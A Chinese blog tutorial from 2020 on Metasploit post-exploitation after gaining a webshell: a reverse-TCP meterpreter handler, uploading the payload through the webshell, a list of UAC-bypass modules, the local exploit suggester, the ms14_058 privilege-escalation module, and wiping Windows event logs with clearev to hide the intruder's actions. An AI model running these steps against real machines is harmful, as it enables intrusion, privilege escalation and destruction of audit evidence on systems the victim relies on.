Metaspolit下UAC提权以及日志清除

在获得webshell时但权限不够大,这时候为了完全获得受害者机器的权限,使用msf进行后渗透。

一、获取Meterpreter会话

Meterpreter 是msf的一个payload,目标执行之后,我们会得到一个会话,和常见的shell会话类似,但是它的功能更加强大,它是执行后渗透测试的实施通道。

(1) 使用msfvenom生成payload

常用命令:

(2)本地监听

监听需要用到msf的exploit/multi/handler模块,使用show options查看需要设置的参数。重要的参数有三个:监听使用的payload、本地ip、本地监听端口。这些参数的值跟之前msfvenom使用的参数一样。
Msfconsole 打开Metaploit

msf>use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.204.129

(3)将生成的payload通过webshell上传到服务器

要上传到可读写的区域并执行

成功监听获得meterpreter(一个session(会话))

Getuid 查看主机名

也可以输入shell变成命令行模式,输入exit返回到meterpeter shell模式


输入background命令让当前会话保存到后台

使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。

(4)Exploit 进行提权(UAC提权)

用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。
msf提供了bypassuac模块帮助绕过UAC:

在使用bypassuac模块进行提权时,当前用户必须在管理员组中,且UAC必须为默认设置(既“仅在程序试图更改我的计算机时通知我”),bypassuac模块运行时,会在目标机器上创建多个文件,这些文件很有可能会被杀毒软件识别。

bypassuac模块介绍

use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率
use exploit/windows/local/bypassuac_fodhelper # 该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC
use exploit/windows/local/bypassuac_eventvwr #该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC
use exploit/windows/local/bypassuac_comhijack #此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。
use exploit/windows/local/bypassuac_windows_store #通过模拟可信目录绕过UAC
use exploit/windows/local/bypassuac_sdclt #Sdclt用于Windows备份和还原机制的上下文中

1.第一次尝试三个模块都无法获得权限

因为webshell权限只是user,这需要权限在adminisartor组中



bypassuac 执行成功后会返回一个新的 meterpreter,此时再输入 shell 进入系统 cmd 查看权限,权限级别已经由 medium 变成了 high。
除此之外还有很多其他的提权脚本,可以根据 systeminfo 查出来的补丁和提权脚本做对比,若相关的利用脚本没有安装相应的补丁,则可针对性的进行提权操作。
这里用bypassuac_injection成功提权

但是对新版的的win10没有一个可以成功绕过。

2.也可以尝试使用windwos的漏洞进行提权

可以用metaspolit的内置模块

use post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

set session id #id是已经获得的session号
当我们用它来探测某一个系统时,他会告诉我们该系统有哪些exploit可能可以利用

use post/multi/recon/local_exploit_suggester


详细利用在另一篇文章
发现可能的漏洞后可以找到对应exp的模块:
如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058为例。

msf5 > use exploit/windows/local/ms14_058_track_popup_menu
msf5 > exploit(ms14_058_track_popup_menu) > set session 1
msf5 > exploit(ms14_058_track_popup_menu) > exploit

日志清除

清除日志
再进入肉鸡执行一些操作时,windows 下记录的操作日志可在日志查看器中进行查看,可以通过运行 eventvwr 命令打开。
包括了应用程序、系统、安全等模块的日志,为了不让其查到自己或知道自己的操作,则可以使用 meterpreter 的 clearev 命令来清除其日志。
未清除日志前可查看系统记录的一些处理信息。

然后在 meterpreter 下执行 clearev 命令,可以看到清除提示,分别清除了应用程序,系统和安全模块的日志记录。

命令运行后,再到靶机的日志查看器中查看,日志已经被清除。

posted @ 2020-07-19 16:47  Lushun  阅读(908)  评论(0编辑  收藏  举报